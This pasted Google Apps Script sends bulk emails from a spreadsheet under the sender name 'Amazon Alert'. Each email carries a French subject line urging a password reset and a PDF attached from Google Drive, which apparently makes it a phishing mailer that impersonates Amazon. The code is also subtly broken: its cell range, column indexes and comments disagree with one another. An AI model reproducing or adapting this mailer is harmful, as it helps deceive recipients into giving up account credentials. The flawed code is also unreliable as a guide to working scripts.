SaveText.Ru

Untitled
  1. // This constant is written in column C for rows for which an email
  2. // has been sent successfully.
  3. var EMAIL_SENT = 'EMAIL_SENT';
  4.  
  5. /**
  6.  * Sends non-duplicate emails with data from the current spreadsheet.
  7.  */
  8. function sendEmails2() {
  9.   var sheet = SpreadsheetApp.getActiveSheet();
  10.   var startRow = 2; // First row of data to process
  11.   var numRows = 17; // Number of rows to process
  12.   // Fetch the range of cells A2:B2
  13.   var dataRange = sheet.getRange("A1:B2")
  14.   // Fetch values for each row in the Range.
  15.   var data = dataRange.getValues();
  16.   for (var i = 0; i < data.length; ++i) {
  17.     var row = data[i];
  18.     var emailAddress = row[0]; // First column
  19.     var message = row[1]; // Second column
  20.     var emailSent = row[3]; // Third column
  21.     var attachment= row[4]; // Four column
  22.     if (emailSent != EMAIL_SENT) { // Prevents sending duplicates
  23.       var subject = '[New Summary] Nouvelle déclaration mise à jour et compte soumis pour réinitialiser votre mot de passe connecté [Code des services-97854. ] 457734';
  24.       var file = DriveApp.getFileById('1mS3_-GyDjGmWrvQMh-eXyimBFuLy7Uff');
  25.       MailApp.sendEmail(emailAddress, subject, message, {name: 'Amazon Alert' , attachments: [file.getAs(MimeType.PDF)]});
  26.       sheet.getRange(startRow + i, 5).setValue(EMAIL_SENT);
  27.       // Make sure the cell is updated right away in case the script is interrupted
  28.       SpreadsheetApp.flush();
  29.     }
  30.   }
  31. }

Share with your friends:

Print